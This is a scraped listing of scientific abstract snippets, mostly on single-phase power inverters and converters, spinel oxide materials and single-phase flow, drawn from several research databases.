be modeled using traditional techniques. 1. Common-Ground-Type Tansformerless Inverters for Single-Phase Solar Photovoltaic Systems DEFF Research Database (Denmark) 2018-01-01 This paper proposes a family of novel flying capacitor transformerless inverters for single-phase photovoltaic (PV) systems. Each of the new topologies proposed is based on a flying capacitor principle and requires only four power switches and/or diodes, one capacitor, and a small filter at the o......This paper proposes a family of novel flying capacitor transformerless inverters for single-phase photovoltaic (PV) systems. Each of the new topologies proposed is based on a flying capacitor principle and requires only four power switches and/or diodes, one capacitor, and a small filter... 2. Challenges in thermal design of industrial single-phase power inverter Directory of Open Access Journals (Sweden) Ninković Predrag 2016-01-01 Full Text Available This paper presents the influence of thermal aspects in design process of an industrial single-phase inverter, choice of its topology and components. Stringent design inputs like very high overload level, demand for natural cooling and very wide input voltage range have made conventional circuit topology inappropriate therefore asking for alternative solution. Different power losses calculations in semiconductors are performed and compared, outlining the guidelines how to choose the final topology. Some recommendations in power magnetic components design are given. Based on the final project, a 20kVA single-phase inverter for thermal power plant supervisory and control system is designed and commissioned. 3. Stability boundary analysis in single-phase grid-connected inverters with PLL by LTP theory OpenAIRE Salis, Valerio; Costabeber, Alessando; Cox, Stephen M.; Zanchetta, Pericle; Formentini, Andrea 2017-01-01 Stability analysis of power converters in AC net¬works is complex due to the non-linear nature of the conversion systems. Whereas interactions of converters in DC networks can be studied by linearising about the operating point, the extension of the same approach to AC systems poses serious challenges, especially for single-phase or unbalanced three-phase systems. A general method for stability analysis of power converters suitable for single-phase or unbalanced AC networks is presented in th... 4. Soft-Switched Neutral-Point-Clamped Single-Phase Boost Rectifier Science.gov (United States) Itoh, Ryozo; Ishizaka, Kouichi A soft-switched neutral-point-clamped single-phase boost rectifier capable of compensating the imbalance load voltage is studied. This is based on a single-phase rectifier, in which an inductor is placed in series with the AC supply to resonate with a capacitor connected across the DC output of a full-bridge rectifier and the switching transition is mainly governed by a series resonance. The experimental prototype using insulated-gate bipolar transistors is implemented to investigate the operation under the charge control. The experimental results confirm that the rectifier has a neutral-point-clamp feature providing a good quality AC current. 5. Synthesis of Zn1- x Co x Al2O4 Spinel Nanoparticles by Liquid-Feed Flame Spray Pyrolysis: Ceramic Pigments Application Science.gov (United States) Betancur Granados, Natalia; Yi, Eongyu; Laine, Richard M.; Restrepo Baena, Oscar Jaime 2016-01-01 Zn1- x Co x Al2O4 ( x = 0.0, 0.2, 0.4, 0.6, 0.8, and 1.0) spinel nanoparticles were synthesized by a liquid-feed flame spray pyrolysis (LF-FSP) method by combusting metallorganic precursor solutions to produce nanopowders with precise composition control. The precursor solutions were aerosolized into a methane/oxygen flame where it was combusted in an oxygen-rich environment to result in nanopowders at a single step. The nanopowders were analyzed by x-ray diffraction, Fourier transform infrared spectroscopy, colorimetry, field emission scanning electron microscopy, transmission electron microscopy, and BET (Brunauer-Emmett-Teller) N2 adsorption. Results show formation of spherical nanopowders with specific surface areas of 42 m2/g to 50 m2/g, which correspond to average particle sizes of 26 nm to 31 nm. Single-phase materials were obtained with a high control of composition, which indicates that LF-FSP is an excellent method to produce mixed-metal oxides for applications in which powder homogeneity is crucial. The products were evaluated for ceramic pigment application, where the ratio of Zn to Co was gradually changed to observe the color change in the structure with the increase of cobalt concentration. The resulting pigments were calcined at 1200°C, which aimed to identify the color stability after a high-temperature process, whereby the colors were measured using the color space CIE Lab* under standardized light, D65. Finally, the powders were tested for ceramic decoration using transparent glazes and ceramic bodies. The application was carried out at 1250°C to evaluate the color performance after a decoration process. 6. The Application Three-phase to Single-phase Z-Source Matrix Converter in Wind Turbine Directory of Open Access Journals (Sweden) 2017-01-01 Full Text Available In this paper a new idea of direct three-phase to single-phase Z-source matrix converter (impedance-source matrix converter applicable in stand-alone wind turbine is introduced. In the direct Z-source matrix converter amplitude of output voltage and frequency regulation are of importance to control system. In wind turbines, input voltage and frequency are usually changing due to wind speed variation that these alterations could be easily regulated by means of a direct Z-source matrix converter. A scheme is also offered to control the proposed direct three-phase to single-phase Z-source matrix converter. the control strategy would be able to adjust the output voltage and frequency at desired value as well as producing low THD (total harmonic distortion at the output voltage. The proposed structure and the control methodology are simulated using matlab simulink software and results are investigated and discussed to confirm the performance of the direct Z-source matrix converter in wind turbine. 7. Synthesis and optical property of zinc aluminate spinel cryogels Directory of Open Access Journals (Sweden) Lifen Su 2016-06-01 Full Text Available Zinc aluminate spinel cryogels with various molar ratio of Al/Zn are synthesized by sol–gel technology followed by vacuum freeze drying. The structures and optical properties are both found to be affected by the molar ratios of Al/Zn and annealed temperatures. The peaks of zinc oxide (ZnO and zinc dialuminum oxide (ZnAl2O4 are both obtained for the samples with more Zn content annealed at 750 °C or upward. The composites have a large surface area (137 m2/g with mesoporous structure after annealing at 750 °C. The SEM images reveal that the ZnAl2O4 crystals formed a multilayer structure with redundant ZnO particles which deposited on it. Furthermore, the maximum infrared reflectance is about 80% with an improvement of 35% in the infrared region after annealing at 950 °C compared with that of 450 °C, which indicates that these porous cryogels have a potential application as thermal insulating materials at a high temperature. 8. Unique atom hyper-kagome order in Na4Ir3O8 and in low-symmetry spinel modifications. Science.gov (United States) Talanov, V M; Shirokov, V B; Talanov, M V 2015-05-01 Group-theoretical and thermodynamic methods of the Landau theory of phase transitions are used to investigate the hyper-kagome atomic order in structures of ordered spinels and a spinel-like Na4Ir3O8 crystal. The formation of an atom hyper-kagome sublattice in Na4Ir3O8 is described theoretically on the basis of the archetype (hypothetical parent structure/phase) concept. The archetype structure of Na4Ir3O8 has a spinel-like structure (space group Fd\\bar 3m) and composition [Na1/2Ir3/2](16d)[Na3/2](16c)O(32e)4. The critical order parameter which induces hypothetical phase transition has been stated. It is shown that the derived structure of Na4Ir3O8 is formed as a result of the displacements of Na, Ir and O atoms, and ordering of Na, Ir and O atoms, ordering dxy, dxz, dyz orbitals as well. Ordering of all atoms takes place according to the type 1:3. Ir and Na atoms form an intriguing atom order: a network of corner-shared Ir triangles called a hyper-kagome lattice. The Ir atoms form nanoclusters which are named decagons. The existence of hyper-kagome lattices in six types of ordered spinel structures is predicted theoretically. The structure mechanisms of the formation of the predicted hyper-kagome atom order in some ordered spinel phases are established. For a number of cases typical diagrams of possible crystal phase states are built in the framework of the Landau theory of phase transitions. Thermodynamical conditions of hyper-kagome order formation are discussed by means of these diagrams. The proposed theory is in accordance with experimental data. 9. PREPARATION OF NICKEL - COBALT SPINEL OXIDES NixCO3 ... African Journals Online (AJOL) ABSTRACT. A comparative study of two electro-physical properties (porosity and electrical conductivity) of binary nickel cobalt oxides electrodes with spinels mixed oxides NixCo3-xO4 as active matter, was carried out. Four different routes were used to prepare spinel-type NixCo3-xO4 (0 ≤ x ≤. 2.5) compounds in order to ... 10. Thermal expansion of spinel-type Si3N4 DEFF Research Database (Denmark) Paszkowics, W.; Minkikayev, R.; Piszora, P. 2004-01-01 The lattice parameter and thermal expansion coefficient (TEC) for the spinel-type Si3N4 phase prepared under high-pressure and high-temperature conditions are determined for 14 K......The lattice parameter and thermal expansion coefficient (TEC) for the spinel-type Si3N4 phase prepared under high-pressure and high-temperature conditions are determined for 14 K... 11. Superexchange Effects on Oxygen Reduction Activity of Edge-Sharing [Cox Mn1-x O6 ] Octahedra in Spinel Oxide. Science.gov (United States) Zhou, Ye; Sun, Shengnan; Xi, Shibo; Duan, Yan; Sritharan, Thirumany; Du, Yonghua; Xu, Zhichuan J 2018-03-01 Mn-Co containing spinel oxides are promising, low-cost electrocatalysts for the oxygen reduction reaction (ORR). Most studies are devoted to the design of porous Mn-Co spinels or to strongly coupled hybrids (e.g., MnCo 2 O 4 /N-doped-rmGO) to maximize the mass efficiency. The lack of analyses by metal oxide intrinsic activity (activity normalized to catalysts' surface area) hinders the development of fundamental understanding of the physicochemical principles behind the catalytic activities. A systematic study on the composition dependence of ORR in ZnCo x Mn 2- x O 4 (x = 0.0-2.0) spinel is presented here with special attention to the role of edge sharing [Co x Mn 1- x O 6 ] octahedra in the spinel structure. The ORR specific activity of ZnCo x Mn 2- x O 4 spans across a potential window of 200 mV, indicating an activity difference of ≈3 orders of magnitude. The curve of composition-dependent ORR specific activity as a function of Co substitution exhibits a volcano shape with an optimum Mn/Co ratio of 0.43. It is revealed that the modulated e g occupancy of active Mn cations (0.3-0.9), as a consequence of the superexchange effect between edge sharing [CoO 6 ] and [MnO 6 ], reflects the ORR activity of edge sharing [Co x Mn 1- x O 6 ] octahedra in the ZnCo x Mn 2- x O 4 spinel oxide. These findings offer crucial insights in designing spinel oxide catalysts with fine-tuned e g occupancy for efficient catalysis. © 2018 WILEY-VCH Verlag GmbH & Co. KGaA, Weinheim. 12. Microstructural study of synthetic spinel from natural raw materials Energy Technology Data Exchange (ETDEWEB) Chao, Y.; Hagni, R.D. (Univ. of Missouri, Rolla, MO (United States). Dept. of Geology and Geophysics); Caballero, A. (Inst. de Ceramica y Vidrio, Madrid (Spain)); Moore, R.E. (Univ. of Missouri, Rolla, MO (United States). Dept. of Ceramic Engineering) 1993-03-01 Alumina-magnesia spinel is being used increasingly as a high quality refractory in furnace and cement rotary kiln applications, but the costs of synthetic powders and grains limit its application. Different sources of bauxite from Guyana and China and diaspore from Missouri have been utilized to synthesize spinel for refractories in order to reduce the cost. The purpose of this research is to examine extent and character or spinel formation under different firing conditions and varying Al[sub 2]O[sub 3]:MgO ratios. Finely ground raw materials were mixed with hardburned magnesia in certain ratios to form spinel. X-ray analysis has been completed and shows that spinel readily occurs, after heating at 1,550 C, together with some impurity minerals such as mullite, rutile, corundum and some glassy phases. In order to study the microstructure, quantitative analysis, reflected light microscopy, scanning electron microscopy (SEM) and automatic image analysis are currently being utilized to determine the amount and distribution of each phase present in 39 samples prepared at different firing temperatures and with different chemical compositions. The results of this investigation provide a better understanding of the character of the microstructures of synthetic spinels. 13. A Novel Flying Capacitor Transformerless Inverter for Single-Phase Grid Connected Solar Photovoltaic System DEFF Research Database (Denmark) 2016-01-01 This paper proposes a new single-phase flying capacitor transformerless PV inverter for grid-connected photovoltaic (PV) systems. The neutral of the grid can be directly connected to the negative terminal of the source (PV). It consists of four power switches, one diode, one capacitor and a small... 14. A single phase multilevel inverter as power converter for 3-phase ... African Journals Online (AJOL) A single phase multilevel inverter as power converter for 3-phase electric loads. ... m-phase maker was simulated using MATLAB and the results confirmed the excellent perfor-mance of the RBNPS. The listed advantages attained could be incorporated in the design and operation of a converter for an electric drive of a car. 15. Low Voltage Ride-Through of Single-Phase Transformerless Photovoltaic Inverters DEFF Research Database (Denmark) Yang, Yongheng; Blaabjerg, Frede; Wang, Huai 2014-01-01 , e.g. Low Voltage Ride-Through (LVRT) under grid faults and grid support service. In order to map future challenges, the LVRT capability of three mainstream single-phase transformerless PV inverters under grid faults are explored in this paper. Control strategies with reactive power injections... 16. PI and repetitive control for single phase inverter based on virtual rotating coordinate system Science.gov (United States) Li, Mengqi; Tong, Yibin; Jiang, Jiuchun; Liang, Jiangang 2018-03-01 Microgrid technology developed rapidly and nonlinear loads were connected increasingly. A new control strategy was proposed for single phase inverter when connected nonlinear loads under island condition. PI and repetitive compound controller was realized under synchronous rotating coordinate system and acquired high quality sinusoidal voltage output without voltage spike when loads step changed. Validity and correctness were verified by simulation using MATLAB/Simulink. 17. Pressure Drop Correlations of Single-Phase and Two-Phase Flow in Rolling Tubes International Nuclear Information System (INIS) Xia-xin Cao; Chang-qi Yan; Pu-zhen Gao; Zhong-ning Sun 2006-01-01 A series of experimental studies of frictional pressure drop for single phase and two-phase bubble flow in smooth rolling tubes were carried out. The tube inside diameters were 15 mm, 25 mm and 34.5 mm respectively, the rolling angles of tubes could be set as 10 deg. and 20 deg., and the rolling periods could be set as 5 s, 10 s and 15 s. Combining with the analysis of single-phase water motion, it was found that the traditional correlations for calculating single-phase frictional coefficient were not suitable for the rolling condition. Based on the experimental data, a new correlation for calculating single-phase frictional coefficient under rolling condition was presented, and the calculations not only agreed well with the experimental data, but also could display the periodically dynamic characteristics of frictional coefficients. Applying the new correlation to homogeneous flow model, two-phase frictional pressure drop of bubble flow in rolling tubes could be calculated, the results showed that the relative error between calculation and experimental data was less than ± 25%. (authors) 18. Single-Phase 3L PR Controlled qZS Inverter Connected to the Distorted Grid DEFF Research Database (Denmark) Makovenko, Elena; Husev, Oleksandr; Roncero-Clemente, Carlos 2016-01-01 This paper presents a single-phase three-level NPC qZS inverter connected to a distorted grid using PID and PR regulators. A case study system along with the control strategy are described. Tuning approaches for PID and PR regulators are addressed and validated by means of simulation results... 19. Hybrid Control Method for a Single Phase PFC using a Low Cost Microcontroller DEFF Research Database (Denmark) Jakobsen, Lars Tønnes; Nielsen, Nils; Wolf, Christian 2005-01-01 This paper presents a hybrid control method for single phase boost PFCs. The high bandwidth current loop is analog while the voltage loop is implemented in an 8-bit microcontroller. The design focuses on minimizing the number of calculations done in the microcontroller. A 1kW prototype has been... 20. Novel Motion Sensorless Control of Single Phase Brushless D.C. PM Motor Drive, with experiments DEFF Research Database (Denmark) Lepure, Liviu Ioan; Boldea, Ion; Andreescu, Gheorghe Daniel 2010-01-01 A motion sensorless control for single phase permanent magnet brushless d.c. (PM-BLDC) motor drives, based on flux integration and prior knowledge of the PM flux/position characteristic is proposed here and an adequate correction algorithm is adopted, in order to increase the robustness to noise... 1. Single phase inverter for a three phase power generation and distribution system Science.gov (United States) Lindena, S. J. 1976-01-01 A breadboard design of a single-phase inverter with sinusoidal output voltage for a three-phase power generation and distribution system was developed. The three-phase system consists of three single-phase inverters, whose output voltages are connected in a delta configuration. Upon failure of one inverter the two remaining inverters will continue to deliver three-phase power. Parallel redundancy as offered by two three-phase inverters is substituted by one three-phase inverter assembly with high savings in volume, weight, components count and complexity, and a considerable increase in reliability. The following requirements must be met: (1) Each single-phase, current-fed inverter must be capable of being synchronized to a three-phase reference system such that its output voltage remains phaselocked to its respective reference voltage. (2) Each single-phase, current-fed inverter must be capable of accepting leading and lagging power factors over a range from -0.7 through 1 to +0.7. 2. Control Method of Single-phase Inverter Based Grounding System in Distribution Networks DEFF Research Database (Denmark) Wang, Wen; Yan, L.; Zeng, X. 2016-01-01 of neutral-to-ground voltage is critical for the safety of distribution networks. An active grounding system based on single-phase inverter is proposed to achieve this objective. Relationship between output current of the system and neutral-to-ground voltage is derived to explain the principle of neutral... 3. protoDUNE-Single Phase and protDUNE-DualPhase CERN Multimedia Brice, Maximilien 2016-01-01 At the EHN1 two big 8m x 8m x8m detector prototypes (protoDUNE-Single Phase and protDUNE-DualPhase) are being constructed. The aim is to test technologies and detector performances for DUNE, a new generation of LBN neutr 4. Single phase cascaded H5 inverter with leakage current elimination for transformerless photovoltaic system DEFF Research Database (Denmark) Guo, Xiaoqiang; Jia, X.; Lu, Z. 2016-01-01 Leakage current reduction is one of the important issues for the transformelress PV systems. In this paper, the transformerless single-phase cascaded H-bridge PV inverter is investigated. The common mode model for the cascaded H4 inverter is analyzed. And the reason why the conventional cascade H... 5. A Generic Topology Derivation Method for Single-phase Converters with Active Capacitive DC-links DEFF Research Database (Denmark) Wang, Haoran; Wang, Huai; Zhu, Guorong 2016-01-01 capacitive DCDC- link solutions, but important aspects of the topology assess-ment, such as the total energy storage, overall capacitive energy buffer ratio, cost, and reliability are still not available. This paper proposes a generic topology derivation method of single-phase power converters... 6. Modeling and Control of a Single-Phase Marine Cooling System DEFF Research Database (Denmark) Hansen, Michael; Stoustrup, Jakob; Bendtsen, Jan Dimon 2013-01-01 This paper presents two model-based control design approaches for a single-phase marine cooling system. Models are derived from first principles and aim at describing significant system dynamics including nonlinearities and transport delays, while keeping the model complexity low. The two... 7. Single-Phase Phase-Locked Loop Based on Derivative Elements DEFF Research Database (Denmark) Guan, Qingxin; Zhang, Yu; Kang, Yong 2017-01-01 High-performance phase-locked loops (PLLs) are critical for power control in grid-connected systems. This paper presents a new method of designing a PLL for single-phase systems based on derivative elements (DEs). The quadrature signal generator (QSG) is constructed by two DEs with the same... 8. A review of single-phase grid-connected inverters for photovoltaic modules DEFF Research Database (Denmark) Kjaer, Soren Baekhoej; Pedersen, John Kim; Blaabjerg, Frede 2005-01-01 This review focuses on inverter technologies for connecting photovoltaic (PV) modules to a single-phase grid. The inverters are categorized into four classifications: 1) the number of power processing stages in cascade; 2) the type of power decoupling between the PV module(s) and the single... 9. A Direct Maximum Power Point Tracking Method for Single-Phase Grid Connected PV Inverters DEFF Research Database (Denmark) EL Aamri, Faicel; Maker, Hattab; Sera, Dezso 2018-01-01 in dynamic conditions, especially in low irradiance when the measurement of signals becomes more sensitive to noise. The proposed MPPT is designed for single-phase single-stage grid-connected PV inverters, and is based on estimating the instantaneous PV power and voltage ripples, using second... 10. A re-look at critical factors influencing single-phase formation of Ba2 ... Home; Journals; Bulletin of Materials Science; Volume 30; Issue 4. A re-look at critical factors influencing single-phase formation of Ba2Ti9O20 microwave dielectrics. Unnikrishnan Gopinath Dhanya Chandran Seema Ansari Bindu Krishnan Rani Panicker Raghu Natarajan. Electrical Properties Volume 30 Issue 4 August ... 11. Regeneration of phase unlocked serial multiplexed DPSK signals in a single phase sensitive amplifier DEFF Research Database (Denmark) Guan, Pengyu; Da Ros, Francesco; Kjøller, Niels-Kristian 2017-01-01 We demonstrate phase-regeneration of phase unlocked OTDM-DPSK serial signals in a single phase sensitive amplifier through optical cross-phase modulation. The BER of an 8×10 Gbit/s OTDM-DPSK signal is improved by 2 orders of magnitude.... 12. Analysis of Variable-Speed Operation of Drives with Single-Phase Machines Czech Academy of Sciences Publication Activity Database Chomát, Miroslav; Schreier, Luděk; Bendl, Jiří 2007-01-01 Roč. 52, č. 2 (2007), s. 139-147 ISSN 0001-7043 R&D Projects: GA ČR GA102/06/0215 Institutional research plan: CEZ:AV0Z20570509 Keywords : single-phase machines * induction machines * variable-speed drives Subject RIV: JA - Electronics ; Optoelectronics, Electrical Engineering 13. Flux Concentration and Pole Shaping in a Single Phase Hybrid Switched Reluctance Motor Drive DEFF Research Database (Denmark) Jakobsen, Uffe; Lu, Kaiyuan 2010-01-01 The single phase hybrid switched reluctance motor (HSRM) may be a good candidate for low-cost drives used for pump applications. This paper presents a new design of the HSRM with improved starting torque achieved by stator pole shaping, and a better arrangement of the embedded stator permanent... 14. Synchronization in single-phase grid-connected photovoltaic systems under grid faults DEFF Research Database (Denmark) Yang, Yongheng; Blaabjerg, Frede 2012-01-01 under grid faults. The focus of this paper is put on the benchmarking of synchronization techniques, mainly about phase locked loop (PLL) based methods, in single-phase PV power systems operating under grid faults. Some faulty mode cases are studied at the end of this paper in order to compare... 15. Chemical vs. electrochemical extraction of lithium from the Li-excess Li(1.10)Mn(1.90)O4 spinel followed by NMR and DRX techniques. Science.gov (United States) Martinez, S; Sobrados, I; Tonti, D; Amarilla, J M; Sanz, J 2014-02-21 Lithium extraction from the Li-excess Li1.10Mn1.90O4 spinel has been performed by chemical and electrochemical methods in aqueous and in organic media, respectively. De-lithiated samples have been investigated by XRD, SEM, TG, (7)Li and (1)H MAS-NMR techniques. The comparative study has allowed demonstrating that the intermediate de-intercalated samples prepared during the chemical extraction by acid titration are similar to those prepared by the electrochemical way in a non-aqueous electrolyte. LiMn2O4 based spinel with a tailored de-lithiation degree can be prepared as a single phase by controlling the pH used in chemical extraction. (7)Li MAS-NMR spectroscopy has been used to follow the influence of the manganese oxidation state on tetra and octahedral Li-signals detected in Li-extracted samples. The oxidation of Mn(III) ions goes parallel to the partial dissolution of the spinel, following Hunter's mechanism. Based on this mechanism, a generalized chemical reaction has been proposed to explain the formation of intermediate Li(+) de-intercalated samples during acid treatment in aqueous media. By the (1)H MAS NMR study, no evidence of Li-H topotactic exchange in the bulk of the acid treated material was found. 16. Study of irradiation damages in MgAl{sub 2}O{sub 4} and ZnAl{sub 2}O{sub 4} spinels in the framework of nuclear waste transmutation; Dommages d'irradiation dans des ceramiques de structure spinelle MgAl{sub 2}O{sub 4} et ZnAl{sub 2}O{sub 4} application a la transmutation des dechets nucleaires Energy Technology Data Exchange (ETDEWEB) Thiriet-Dodane, C 2002-07-01 The transmutation of minor actinides in-reactor is one solution currently being studied for the long time management of nuclear waste. In the heterogeneous concept the radionuclides are incorporating in an inert ceramic matrix. The support material must be insensitive to radiation damage. Fission product damage is the main radiation damage source during the transmutation process and therefore it is of the utmost importance to study their effects. We irradiated spinels MgAl{sub 2}O{sub 4} (matrix of reference) and ZnAl{sub 2}O{sub 4} by fast ions (by example: {sup 86}Kr of approximately 400 MeV) simulating the fission products. Under these conditions, the damage is primarily due to the electronic energy losses (S{sub e}). One of the structural features of spinel AB{sub 2}O{sub 4} is that the two cations (A{sup 2+} and B{sup 3+}) can exchange their site. This phenomenon is quantified by the inversion parameter. We highlight by XRD in grazing incidence that the structural changes observed in MgAl{sub 2}O{sub 4} correspond to an order-disorder transition from the cation sub-networks and not to a phase shift as described in the literature. Using other techniques characterizing the space group (Raman spectroscopy) as well as the local order (NMR 27Al, spectroscopy of absorption X with the thresholds K of Al and Zn), we confirm this interpretation. Moreover, for a fluence of 10{sup 14} ions/cm{sup 2}, the loss of the order at long distance is observed thus meaning a beginning of amorphization of material. The ZnAl{sub 2}O{sub 4} spinel presents the same behaviour. For this last spinel, an evolution of the inversion parameter according to the stopping power 2 was highlighted after irradiation by ions {sup 86}Kr from approximately 20 MeV. We illustrate our study by the analysis of the results obtained in XRD of an irradiation out of composite fuel (MgAl{sub 2}O{sub 4} + UO{sub 2}) called THERMHET. (authors) 17. Development of a single-phase thermosiphon for cold collection and storage of radiative cooling Energy Technology Data Exchange (ETDEWEB) Zhao, Dongliang; Martini, Christine Elizabeth; Jiang, Siyu; Ma, Yaoguang; Zhai, Yao; Tan, Gang; Yin, Xiaobo; Yang, Ronggui 2017-11-01 A single-phase thermosiphon is developed for cold collection and storage of radiative cooling. Compared to the conventional nocturnal radiative cooling systems that use an electric pump to drive the heat transfer fluid, the proposed single-phase thermosiphon uses the buoyancy force to drive heat transfer fluid. This solution does not require electricity, therefore improving the net gain of the radiative cooling system. A single-phase thermosiphon was built, which consists of a flat panel, a cold collection tank, a water return tube, and a water distribution tank. Considering that outdoor radiative cooling flux is constantly changing (i.e. uncontrollable), an indoor testing facility was developed to provide a controllable cooling flux (comparable to a radiative cooling flux of 100 W/m2) for the evaluation of thermosiphon performance. The testing apparatus is a chilled aluminum flat plate that has a controlled air gap separation relative to the flat panel surface of the thermosiphon to emulate radiative cooling. With an average of 105 W/m2 cooling flux, the 18 liters of water in the thermosiphon was cooled to an average temperature of 12.5 degrees C from an initial temperature of 22.2 degrees C in 2 h, with a cold collection efficiency of 96.8%. The results obtained have demonstrated the feasibility of using a single-phase thermosiphon for cold collection and storage of radiative cooling. Additionally, the effects of the thermosiphon operation conditions, such as tilt angle of the flat panel, initial water temperature, and cooling energy flux, on the performance have been experimentally investigated. Modular design of the single-phase thermosiphon gives flexibility for its scalability. A radiative cooling system with multiple thermosiphon modules is expected to play an important role in cooling buildings and power plant condensers. 18. A systematic probe in the properties of spray coated mixed spinel films of cobalt and manganese Science.gov (United States) Grace Victoria, S.; Moses Ezhil Raj, A. 2018-01-01 The multiple oxidation states of manganese and cobalt in cobalt manganese oxides play a crucial role in shaping up the vivid properties thus evoking curiosity among researchers. In the present work, mixed spinel films of CoMn(CoMn)2O4 were coated on glass substrates by the spray pyrolysis technique with different precursor concentrations of the acetate salts of the metals in ethyl alcohol. XRD investigations revealed an intermediate tetragonal spinel structure between cubic MnCo2O4 and tetragonal Mn3O4 (JCPDS 18-0410) with predominant orientation along (311) plane. The tetragonal distortion from cubic symmetry may be due to high Mn2+ ion content at octahedral sites. Raman spectroscopy highlighted two typical emission peaks characteristic of the deposited mixed spinel oxides. Functional groups were assigned with the aid of FTIR spectral analysis to the observed absorption bands. The binding energies of the photo-electron peaks observed for the transition metal ions and the oxygenated ions were recorded by XPS. The results indicated that the divalent and trivalent ions of cobalt co-existed with the divalent manganese ions. AFM images revealed vertically aligned columnar grains. The electrical measurements indicated conduction mechanism through jumps of polarons. Optical absorption revealed wide band gap energy of 3.76 eV. 19. The role of praseodymium substituted ions on electrical and magnetic properties of Mg spinel ferrites Energy Technology Data Exchange (ETDEWEB) 2017-04-15 Spinel ferrites with composition MgPr{sub y}Fe{sub 2−y}O{sub 4} (y=0.0, 0.025, 0.05, 0.075, 0.10) were successfully synthesized using sol-gel auto-combustion technique. The structural prisoperties of a prepared sintered powder were characterized with the help of X-ray Diffraction (XRD) and then also by using Scanning electron microscopy (SEM). Electrical measurements demonstrate that resistivity and activation energy increases with the Praseodymium substitution while dc resistivity decreases with the rise of temperature showing the semiconductor nature of the synthesized ferrites. Remanence and the saturation magnetization (M{sub s}) decrease while coercivity (H{sub c}) also increases with the increase in praseodymium contents. Anisotropic constant is observed to exhibit similar behavior as H{sub C}. The above mentioned parameters suggest that the synthesized samples are favorable for microwave absorbing purposes. - Highlights: • Magnesium based spinel ferrites were successfully synthesized by sol-gel method. • The spinel phase has been observed in all samples. • The dc resistivity are found to increase with increasing Pr content • The samples with high resistivity have high values of activation energy. • The Ms Decreases with increasing Pr contents while Hc increases. 20. Single-phase {beta}-FeSi{sub 2} thin films prepared on Si wafer by femtosecond laser ablation and its photoluminescence at room temperature Energy Technology Data Exchange (ETDEWEB) Lu Peixiang [State Key Laboratory of Laser Technology and Wuhan National Laboratory for Optoelectronics, Huazhong University of Science and Technology, Wuhan 430074 (China)]. E-mail: [email protected]; Zhou Youhua [State Key Laboratory of Laser Technology and Wuhan National Laboratory for Optoelectronics, Huazhong University of Science and Technology, Wuhan 430074 (China) and Physics and Information School, Jianghan University, Wuhan 430056 (China)]. E-mail: [email protected]; Zheng Qiguang [State Key Laboratory of Laser Technology and Wuhan National Laboratory for Optoelectronics, Huazhong University of Science and Technology, Wuhan 430074 (China); Yang Guang [State Key Laboratory of Laser Technology and Wuhan National Laboratory for Optoelectronics, Huazhong University of Science and Technology, Wuhan 430074 (China) 2006-02-06 Single-phase {beta}-FeSi{sub 2} thin films were prepared on Si(100) and Si(111) wafers by using femtosecond laser deposition with a FeSi{sub 2} alloy target for the first time. X-ray diffraction (XRD), field scanning electron microscopy (FSEM), scanning probe microscopy (SPM), electron backscattered diffraction pattern (EBSD), and Fourier-transform Raman infrared spectroscopy (FTRIS) were used to characterize the structure, composition, and properties of the {beta}-FeSi{sub 2}/Si films. The orientation of {beta}-FeSi{sub 2} grains was found to depend on the orientation of the Si substrates, and photoluminescence at wavelength of 1.53 {mu}m was observed from the single-phase {beta}-FeSi{sub 2}/Si thin film at room temperature (20 {sup o}C) 1. Lithium-deficient Li YMn2O4 spinels (0.9 ≤ Y < 1): Lithium content, synthesis temperature, thermal behaviour and electrochemical properties International Nuclear Information System (INIS) Pascual, Laura; Perez-Revenga, M. Luz; Rojas, Rosa M.; Rojo, Jose M.; Amarilla, J. Manuel 2006-01-01 Lithium-deficient Li Y Mn 2 O 4 spinels (LD-Li Y Mn 2 O 4 ) with nominal composition (0.9 ≤ Y 2 O 3 and LiNO 3 at temperatures ranging from 700 deg. C to 850 deg. C. X-ray diffraction data show that LD-Li Y Mn 2 O 4 spinels are obtained as single phases in the range Y = 0.975-1 at 700 deg. C and 750 deg. C. Morphological characterization by transmission electron microscopy shows that the particle size of LD-Li Y Mn 2 O 4 spinels increases on decreasing the Li-content. The influence of the Li-content and the synthesis temperature on the thermal and electrochemical behaviours has been systematically studied. Thermal analysis studies indicate that the temperature of the first thermal effect in the differential thermal analysis (DTA)/thermogravimetric (TG) curves, T C1 , linearly increases on decreasing the Li-content. The electrochemical properties of LD-Li Y Mn 2 O 4 spinels, determined by galvanostatic cycling, notably change with the synthesis conditions. So, the first discharge capacity, Q disch. , at C rate increases on rising the Li-content and the synthesis temperature. The sample Li 0.975 Mn 2 O 4 synthesized at 700 deg. C has a Q disch. = 123 mAh g -1 and a capacity retention of 99.77% per cycle. This LD-Li Y Mn 2 O 4 sample had the best electrochemical characteristics of the series 2. Microcontroller Based SPWM Single-Phase Inverter For Wind Power Application Directory of Open Access Journals (Sweden) Khin Ohmar Lin 2017-04-01 Full Text Available In this paper microcontroller based sinusoidal pulse width modulation SPWM single-phase inverter is emphasized to constant frequency conversion scheme for wind power application. The wind-power generator output voltage and frequency are fluctuated due to the variation of wind velocity. Therefore the AC output voltage of wind-generator is converted into DC voltage by using rectifier circuit and this DC voltage is converted back to AC voltage by using inverter circuit. SPWM technique is used in inverter to get nearly sine wave and reduce harmonic content. The rating of inverter is 500W single-phase 220V 50 Hz. The required SPWM timing pulses for the inverter are generated from the PIC16F877A microcontroller. Circuit simulation was done by using Proteus 7 Professional and MATLABR 2008 software. The software for microcontroller is implemented by using MPASM assembler. 3. An Open-Loop Grid Synchronization Approach for Single-Phase Applications DEFF Research Database (Denmark) Golestan, Saeed; Guerrero, Josep M.; Quintero, Juan Carlos Vasquez 2018-01-01 in the presence of frequency drifts. This is particularly true in single-phase applications, where the lack of multiple independent input signals makes the implementation of the synchronization technique difficult. The aim of this paper is to develop an effective OLS technique for single-phase power and energy...... applications. The proposed OLS method benefits from a straightforward implementation, a fast dynamic response (a response time less than two cycles of the nominal frequency), and a complete immunity against the DC component in the grid voltage. In addition, the designed OLS method totally blocks (significantly...... attenuates) all harmonics up to the aliasing point under a nominal (off-nominal) frequency. The effectiveness of the designed OLS technique is verified using comparative experimental results.... 4. Single-Phase Hybrid Switched Reluctance Motor for Low-Power Low-Cost Applications DEFF Research Database (Denmark) Lu, Kaiyuan; Rasmussen, Peter Omand; Jakobsen, Uffe 2011-01-01 This paper presents a new single-phase, Hybrid Switched Reluctance (HSR) motor for low-cost, low-power, pump or fan drive systems. Its single-phase configuration allows use of a simple converter to reduce the system cost. Cheap ferrite magnets are used and arranged in a special flux concentration...... manner to increase effectively the torque density and efficiency of this machine. The efficiency of this machine is comparable to the efficiency of a traditional permanent magnet machine in the similar power range. The cogging torque, due to the existence of the 